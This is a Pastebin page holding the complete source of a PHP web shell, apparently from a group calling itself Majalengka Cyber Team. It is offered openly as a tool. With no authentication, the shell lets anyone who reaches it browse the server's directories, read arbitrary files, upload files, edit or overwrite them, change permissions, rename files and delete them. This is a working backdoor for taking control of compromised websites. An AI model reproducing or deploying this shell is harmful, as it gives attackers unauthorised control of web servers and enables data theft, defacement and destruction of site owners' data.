Advertisement
kangindex666

shell ku

Jan 17th, 2018
242
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.88 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <HTML>
  12. <HEAD>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>Mini Shell</title>
  15. <style>
  16. body{
  17. font-family: "Racing Sans One", cursive;
  18. background-color: #e6e6e6;
  19. text-shadow:0px 0px 1px #757575;
  20. }
  21. #content tr:hover{
  22. background-color: #636263;
  23. text-shadow:0px 0px 10px #fff;
  24. }
  25. #content .first{
  26. background-color: silver;
  27. }
  28. #content .first:hover{
  29. background-color: silver;
  30. text-shadow:0px 0px 1px #757575;
  31. }
  32. table{
  33. border: 1px #000000 dotted;
  34. }
  35. H1{
  36. font-family: "Rye", cursive;
  37. }
  38. a{
  39. color: #000;
  40. text-decoration: none;
  41. }
  42. a:hover{
  43. color: #fff;
  44. text-shadow:0px 0px 10px #ffffff;
  45. }
  46. input,select,textarea{
  47. border: 1px #000000 solid;
  48. -moz-border-radius: 5px;
  49. -webkit-border-radius:5px;
  50. border-radius:5px;
  51. }
  52. </style>
  53. </HEAD>
  54. </script>
  55. <style>
  56. body {
  57. background: url(https://www.desktopbackground.org/download/o/2015/11/20/1045226_windows-7-latest-hd-wallpapers-3d-hd-wallpapers_1600x1000_h.jpg) no-repeat center center fixed;
  58. -webkit-background-size: cover;
  59. -moz-background-size: cover;
  60. -o-background-size: cover;
  61. background-size: cover;
  62. color: white;
  63. }
  64. .twitter a{
  65. text-decoration: none;
  66. font-family: Arial, sans-serif ;
  67. font-size: 50px;
  68. text-shadow: grey 0px 0px 10px;
  69. }
  70.  
  71.  
  72. }</style>
  73. <BODY>
  74. <center><img src="http://pluspng.com/img-png/anime-png-anime-1280.png" width="200">
  75. <center>
  76. <font style="opacity: 0.80" face="Indie Flower" color="lime" size="6">Shell Mini Majalengka Cyber Team</font><br><br>
  77. </center></H1>
  78. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  79. <tr><td>Direktori : ';
  80. if(isset($_GET['path'])){
  81. $path = $_GET['path'];
  82. }else{
  83. $path = getcwd();
  84. }
  85. $path = str_replace('\\','/',$path);
  86. $paths = explode('/',$path);
  87.  
  88. foreach($paths as $id=>$pat){
  89. if($pat == '' && $id == 0){
  90. $a = true;
  91. echo '<a href="?path=/">/</a>';
  92. continue;
  93. }
  94. if($pat == '') continue;
  95. echo '<a href="?path=';
  96. for($i=0;$i<=$id;$i++){
  97. echo "$paths[$i]";
  98. if($i != $id) echo "/";
  99. }
  100. echo '">'.$pat.'</a>/';
  101. }
  102. echo '</td></tr><tr><td>';
  103. if(isset($_FILES['file'])){
  104. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  105. echo '<font color="lime">File Ter-Upload :* </font><br />';
  106. }else{
  107. echo '<font color="red">Upload gagal, Servernya kek <img src="http://c.fastcompany.net/asset_files/-/2014/11/11/4F4.gif"/>
  108. </font><br />';
  109. }
  110. }
  111. echo '<form enctype="multipart/form-data" method="POST">
  112. Upload File : <input type="file" name="file" />
  113. <input type="submit" value="upload" />
  114. </form>
  115. </td></tr>';
  116. if(isset($_GET['filesrc'])){
  117. echo "<tr><td>Current File : ";
  118. echo $_GET['filesrc'];
  119. echo '</tr></td></table><br />';
  120. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  121. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  122. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  123. if($_POST['opt'] == 'chmod'){
  124. if(isset($_POST['perm'])){
  125. if(chmod($_POST['path'],$_POST['perm'])){
  126. echo '<font color="lime">Change Permission Done.</font><br />';
  127. }else{
  128. echo '<font color="red">Change Permission Error.</font><br />';
  129. }
  130. }
  131. echo '<form method="POST">
  132. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  133. <input type="hidden" name="path" value="'.$_POST['path'].'">
  134. <input type="hidden" name="opt" value="chmod">
  135. <input type="submit" value="Go" />
  136. </form>';
  137. }elseif($_POST['opt'] == 'rename'){
  138. if(isset($_POST['newname'])){
  139. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  140. echo '<font color="lime">Change Name Done.</font><br />';
  141. }else{
  142. echo '<font color="red">Change Name Error.</font><br />';
  143. }
  144. $_POST['name'] = $_POST['newname'];
  145. }
  146. echo '<form method="POST">
  147. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  148. <input type="hidden" name="path" value="'.$_POST['path'].'">
  149. <input type="hidden" name="opt" value="rename">
  150. <input type="submit" value="Go" />
  151. </form>';
  152. }elseif($_POST['opt'] == 'edit'){
  153. if(isset($_POST['src'])){
  154. $fp = fopen($_POST['path'],'w');
  155. if(fwrite($fp,$_POST['src'])){
  156. echo '<font color="lime">Edit File Done ~_^.</font><br />';
  157. }else{
  158. echo '<font color="red">Edit File Error ~_~.</font><br />';
  159. }
  160. fclose($fp);
  161. }
  162. echo '<form method="POST">
  163. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  164. <input type="hidden" name="path" value="'.$_POST['path'].'">
  165. <input type="hidden" name="opt" value="edit">
  166. <input type="submit" value="Go" />
  167. </form>';
  168. }
  169. echo '</center>';
  170. }else{
  171. echo '</table><br /><center>';
  172. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  173. if($_POST['type'] == 'dir'){
  174. if(rmdir($_POST['path'])){
  175. echo '<font color="lime">Delete Dir Done.</font><br />';
  176. }else{
  177. echo '<font color="red">Delete Dir Error.</font><br />';
  178. }
  179. }elseif($_POST['type'] == 'file'){
  180. if(unlink($_POST['path'])){
  181. echo '<font color="lime">Delete File Done.</font><br />';
  182. }else{
  183. echo '<font color="red">Delete File Error.</font><br />';
  184. }
  185. }
  186. }
  187. echo '</center>';
  188. $scandir = scandir($path);
  189. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  190. <tr class="first">
  191. <td><center>Name</center></td>
  192. <td><center>Size</center></td>
  193. <td><center>Permissions</center></td>
  194. <td><center>Options</center></td>
  195. </tr>';
  196.  
  197. foreach($scandir as $dir){
  198. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  199. echo "<tr>
  200. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  201. <td><center>--</center></td>
  202. <td><center>";
  203. if(is_writable("$path/$dir")) echo '<font color="lime">';
  204. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  205. echo perms("$path/$dir");
  206. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  207.  
  208. echo "</center></td>
  209. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  210. <select name=\"opt\">
  211. <option value=\"\"></option>
  212. <option value=\"delete\">Delete</option>
  213. <option value=\"chmod\">Chmod</option>
  214. <option value=\"rename\">Rename</option>
  215. </select>
  216. <input type=\"hidden\" name=\"type\" value=\"dir\">
  217. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  218. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  219. <input type=\"submit\" value=\">\" />
  220. </form></center></td>
  221. </tr>";
  222. }
  223. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  224. foreach($scandir as $file){
  225. if(!is_file("$path/$file")) continue;
  226. $size = filesize("$path/$file")/1024;
  227. $size = round($size,3);
  228. if($size >= 1024){
  229. $size = round($size/1024,2).' MB';
  230. }else{
  231. $size = $size.' KB';
  232. }
  233.  
  234. echo "<tr>
  235. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  236. <td><center>".$size."</center></td>
  237. <td><center>";
  238. if(is_writable("$path/$file")) echo '<font color="lime">';
  239. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  240. echo perms("$path/$file");
  241. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  242. echo "</center></td>
  243. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  244. <select name=\"opt\">
  245. <option value=\"\"></option>
  246. <option value=\"delete\">Delete</option>
  247. <option value=\"chmod\">Chmod</option>
  248. <option value=\"rename\">Rename</option>
  249. <option value=\"edit\">Edit</option>
  250. </select>
  251. <input type=\"hidden\" name=\"type\" value=\"file\">
  252. <input type=\"hidden\" name=\"name\" value=\"$file\">
  253. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  254. <input type=\"submit\" value=\">\" />
  255. </form></center></td>
  256. </tr>";
  257. }
  258. echo '</table>
  259. </div>';
  260. }
  261. echo '<center><br />Majalengka Cyber Team Mini Shell <font color="red">1.0</font></center>
  262. </BODY>
  263. </HTML>';
  264. function perms($file){
  265. $perms = fileperms($file);
  266.  
  267. if (($perms & 0xC000) == 0xC000) {
  268. // Socket
  269. $info = 's';
  270. } elseif (($perms & 0xA000) == 0xA000) {
  271. // Symbolic Link
  272. $info = 'l';
  273. } elseif (($perms & 0x8000) == 0x8000) {
  274. // Regular
  275. $info = '-';
  276. } elseif (($perms & 0x6000) == 0x6000) {
  277. // Block special
  278. $info = 'b';
  279. } elseif (($perms & 0x4000) == 0x4000) {
  280. // Directory
  281. $info = 'd';
  282. } elseif (($perms & 0x2000) == 0x2000) {
  283. // Character special
  284. $info = 'c';
  285. } elseif (($perms & 0x1000) == 0x1000) {
  286. // FIFO pipe
  287. $info = 'p';
  288. } else {
  289. // Unknown
  290. $info = 'u';
  291. }
  292.  
  293. // Owner
  294. $info .= (($perms & 0x0100) ? 'r' : '-');
  295. $info .= (($perms & 0x0080) ? 'w' : '-');
  296. $info .= (($perms & 0x0040) ?
  297. (($perms & 0x0800) ? 's' : 'x' ) :
  298. (($perms & 0x0800) ? 'S' : '-'));
  299.  
  300. // Group
  301. $info .= (($perms & 0x0020) ? 'r' : '-');
  302. $info .= (($perms & 0x0010) ? 'w' : '-');
  303. $info .= (($perms & 0x0008) ?
  304. (($perms & 0x0400) ? 's' : 'x' ) :
  305. (($perms & 0x0400) ? 'S' : '-'));
  306.  
  307. // World
  308. $info .= (($perms & 0x0004) ? 'r' : '-');
  309. $info .= (($perms & 0x0002) ? 'w' : '-');
  310. $info .= (($perms & 0x0001) ?
  311. (($perms & 0x0200) ? 't' : 'x' ) :
  312. (($perms & 0x0200) ? 'T' : '-'));
  313.  
  314. return $info;
  315. }
  316. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement